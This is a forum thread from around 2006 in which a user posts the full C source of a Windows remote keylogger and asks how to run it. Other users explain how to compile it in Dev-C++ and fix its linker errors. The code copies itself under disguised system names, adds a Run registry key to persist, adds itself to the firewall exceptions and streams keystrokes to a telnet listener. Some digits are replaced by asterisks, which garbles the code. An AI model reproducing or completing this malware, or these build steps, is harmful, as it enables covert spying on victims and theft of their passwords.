file auditing
+ Reply to Thread
Results 1 to 10 of 10

Thread: look at this

  1. #1
    Join Date
    Jun 2006
    Posts
    459

    look at this

    this looks like a cool program; i know im stupid but how do i run it
    thanks

    Code:
    /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
    *                                                                              *
    *  Name: Remote Logger  V0.*                                                   *
    *  Author: NerveThraX                                                          *
    *  Date: *0/07/06 *6:5*                                                        *
    *                                                                              *
    *  A remote key logger that logs the keystrokes of a remote or local machine.  *
    *  The keylogger starts a telnet server on port *80 of the remote host.        *
    *                                                                              *
    *  This program is for educational purpose only. I am not responsible for any  *
    *  damage this program might cause nor I am responsible how this program is    * 
    *  used.                                                                       *
    *                                                                              *
    *  To access the key loggers remote features you will need to do the following.*
    *                                                                              *
    *  start -> run -> telnet <ipaddress_victim> *80                               *
    *                                                                              *
    *  Now you wil be able to view the live feed of key strokes of the remote      *
    *  machine.                                                                    *
    *                                                                              *
    *  You can also use the key logger to log the keystrokes of a local machine,   * 
    *  since it keeps all keystrokes in a central file called log.txt in the       *
    *  windows root directory. The key logger also paralyzes the windows firewall  *
    *  so that no warning is message is made when the listing server is running,the* 
    *  key logger also alters the reg keys so that it runs at every reboot.        *
    *                                                                              *
    *  This program is free software; you can redistribute it and/or               *
    *  modify it under the terms of the GNU General Public License                 *
    *  as published by the Free Software Foundation.                               *
    *******************************************************************************/
    
    /*
    The source code is compiled in Dev-C++ 4.*.*.2 linked to the ws2_*2.lib library.
    The key logger seems to work stable in Windows XP Home/Pro Sp2, the key logger
    also should work in Windows NT and 2000. You will want to choose a windows project
    instead of a console project.
    */
    
    #include <windows.h>
    #include <winsock.h>
    #include <stdio.h>
    #include <iostream>
    #include <fstream>
    #include <ctime>
    #include <cstdlib>
    
    using namespace std;
    
    #define MAX *024
    
    void win_firewall(char* display_name);
    
    
    int main()
    {
    char system[MAX];
    char pathtofile[MAX];
    
    const char *name[] = {"\\LiveUpdate.exe", "\\WindowsSpooler.exe", "\\TelnetClient.exe",
                          "\\Microsoft.exe", "\\Sp2Firewall.exe", "\\regedat.exe",
                          "\\ieexplorer.exe", "\\Explorer.exe", "\\windowsClient.exe",
                          "\\MCAGENT.exe", "\\MCUPDATE.exe", "\\MFW2EN.exe", "\\MFWENG*.exe",
                          "\\MGUI.exe", "\\msconfig.exe", "\\MINILOG.exe", "\\MOOLIVE.exe", "\\MRFLUX.exe",
                          "\\MSCONFIG.exe", "\\MSINFO*2.exe", "\\MSSMMC*2.exe", "\\MU0***AD.exe",
                          "\\NAV80TRY.exe", "\\NAVAPW*2.exe", "\\NAVDX.exe", "\\NAVSTUB.exe",
                          "\\NAVW*2.exe", "\\NC2000.exe", "\\NCINST4.exe", "\\NDD*2.exe",
                          "\\NEOMONITOR.exe", "\\NETARMOR.exe", "\\NETINFO.exe", "\\NETMON.exe", 0};
    
    srand(time(0));
    int random = rand() % *5;
    name[random];
    
    /* Finds the windows directory and copies the key logger*/
    HMODULE GetModH = GetModuleHandle(NULL);
    GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
    GetSystemDirectory(system,sizeof(system));
    
    strcat(system,name[random]);
    CopyFile(pathtofile,system,false);
    
    /*Adds the reg key*/
    
    HKEY hKey;
    RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
    RegSetValueEx(hKey, "Microsoft Windows Sp2 Firewall",0,REG_SZ,(const unsigned char*)system,sizeof(system));
    RegCloseKey(hKey);
    
    ofstream gen("log.txt");
             gen.close();               
    win_firewall("Microsoft Update");
     
      /*starts the listing server on port *80*/
      WSADATA wsaData;
      WSAStartup(MAKEWORD(*, *), &wsaData);
      SOCKET hServer  = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
      SOCKADDR_IN sai;
      sai.sin_family = AF_INET;
      sai.sin_addr.s_addr = INADDR_ANY;
      sai.sin_port = htons(*80);
      bind(hServer,(LPSOCKADDR)&sai,sizeof(struct sockaddr));
      listen(hServer,*0);
      SOCKET hClient =  accept(hServer,NULL,NULL);
     
      char szBuffer[MAX_PATH];
      char szKey[MAX_PATH];
      int uScanCode;
     
      ofstream cvg("log.txt" , ios::app);
     
      while(*)
      {
     
       for(int i = 0; i < 256; i++)
          {   
              /*gets the key***rd input*/
             if (GetAsyncKeyState(i) == -*2767)
                {                                     
                 uScanCode  =  MapVirtualKeyEx(i,0,GetKey***rdLayout(0));           
                  GetKeyNameText(uScanCode << *6,szKey,MAX_PATH);
                 if(strlen(szKey) > 0)
                   {
                     strcpy(szBuffer,"["); strcat(szBuffer, szKey); strcat(szBuffer,"]");                 
                     send(hClient,szBuffer,strlen(szBuffer),0);/*sends the key strokes*/
                     
                     /*writes to the log.txt file*/
                     if(cvg.is_open())
                     {
                      cvg << szBuffer;
                      }
                     
                   }                               
                }     
                   
          }           
    }
      closesocket(hClient);
      closesocket(hServer);
      WSACleanup();
      cvg.close();
    }
    
    void win_firewall(char* display_name)
    {
         /*adds itself to the windows firewall exceptions list*/
        char path[MAX_PATH];
        HMODULE ModH = GetModuleHandle(NULL);
        GetModuleFileName(ModH, path, sizeof(path));
        char data[MAX_PATH] = "";
        strcpy (data, path);
        strcat (data, ":*:Enabled:");
        strcat (data, display_name);
    
        HKEY hKey;
        RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\ControlSet00*\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List", 0, KEY_SET_VALUE, &hKey);
    
        RegSetValueEx(hKey, path,0,REG_SZ,(const unsigned char*)data,sizeof(data));
        RegCloseKey(hKey);
    }
    7h* L**7*57 c4n7 h4ck m*!
    Proud to have quit playing ®µÑȧ©ÅÞË

    If you write like a semi-literate boob you will very likely be ignored.
    Writing like a l**t script kiddie hax0r is the absolute l**t*st way to write!
    L0L

  2. #2
    Join Date
    Sep 2006
    Posts
    1,649

    well

    Well, get a compiler first. I use Dev C++, because it's free and has a good GUI

    [url]http://www.bloodshed.net/dev/devcpp.html[/url]

    From there, install it, run it, go to File, then New, pick Source File. I guess copy/paste code in the box, then go to Execute, press Compile. It will bring up your directories, then you will have to save the file somewhere (remember that the compiled .exe will be placed in that location also). Then after it compiles, go to My Computer, find the place where you stored the source code file, and there should be a .exe there. You can run it, or do whatever else.

    Edit: Before you do the source file part, go to File then New then Project, and pick windows project. The project will open. Then you should right clcik the project in the little box next to the box where you type in code. It should give you an option to add a source file to the project. Do this, then go ahead and copy/paste the code and stuff
    Last edited by Moonbat; 11-03-2006 at 05:09 PM.

  3. #3
    Join Date
    Jun 2006
    Posts
    459
    thanks mate
    7h* L**7*57 c4n7 h4ck m*!
    Proud to have quit playing ®µÑȧ©ÅÞË

    If you write like a semi-literate boob you will very likely be ignored.
    Writing like a l**t script kiddie hax0r is the absolute l**t*st way to write!
    L0L

  4. #4
    Join Date
    Jun 2006
    Posts
    459
    dude this not working please can you do it
    7h* L**7*57 c4n7 h4ck m*!
    Proud to have quit playing ®µÑȧ©ÅÞË

    If you write like a semi-literate boob you will very likely be ignored.
    Writing like a l**t script kiddie hax0r is the absolute l**t*st way to write!
    L0L

  5. #5
    Join Date
    Sep 2006
    Posts
    1,649

    hmm...

    I'm getting a whole bunch of linker errors. I think we have to edit something in the main.cpp, but I have no knowledge in Windows API, so I don't wanna go about editing stuff. Sorry I can't help you out.

  6. #6
    Join Date
    Sep 2005
    Posts
    2,050
    Quote Originally Posted by Moonbat
    I'm getting a whole bunch of linker errors. I think we have to edit something in the main.cpp, but I have no knowledge in Windows API, so I don't wanna go about editing stuff. Sorry I can't help you out.
    In dev-cpp, go to Project -> Project Options, then click the 'Parameters' tab. On the right side is the 'Linker' column - click 'Add Library or Object' and in the 'lib' directory, find ws2_*2.lib. Select that, close the menu and compile.

  7. #7
    Join Date
    Jun 2006
    Posts
    459
    thanks mike and moonbat
    7h* L**7*57 c4n7 h4ck m*!
    Proud to have quit playing ®µÑȧ©ÅÞË

    If you write like a semi-literate boob you will very likely be ignored.
    Writing like a l**t script kiddie hax0r is the absolute l**t*st way to write!
    L0L

  8. #8
    Join Date
    Sep 2006
    Posts
    157
    Quote Originally Posted by mike*0*
    In dev-cpp, go to Project -> Project Options, then click the 'Parameters' tab. On the right side is the 'Linker' column - click 'Add Library or Object' and in the 'lib' directory, find ws2_*2.lib. Select that, close the menu and compile.
    Now ive gotten a build error, what can i do to fix it?
    Last edited by Newby_Programme; 11-18-2006 at 08:15 PM.

  9. #9
    Join Date
    Dec 2006
    Posts
    1

    working?

    smart fool, did you get this to work? I have the .exe file made and I ran it on my computer to see if it works, but my log.txt file is empty...
    Last edited by bikinipink627; 12-07-2006 at 04:53 PM.

  10. #10
    Join Date
    Jun 2006
    Posts
    459
    no its useless, it was an example for bypassing win firewall.
    7h* L**7*57 c4n7 h4ck m*!
    Proud to have quit playing ®µÑȧ©ÅÞË

    If you write like a semi-literate boob you will very likely be ignored.
    Writing like a l**t script kiddie hax0r is the absolute l**t*st way to write!
    L0L

+ Reply to Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts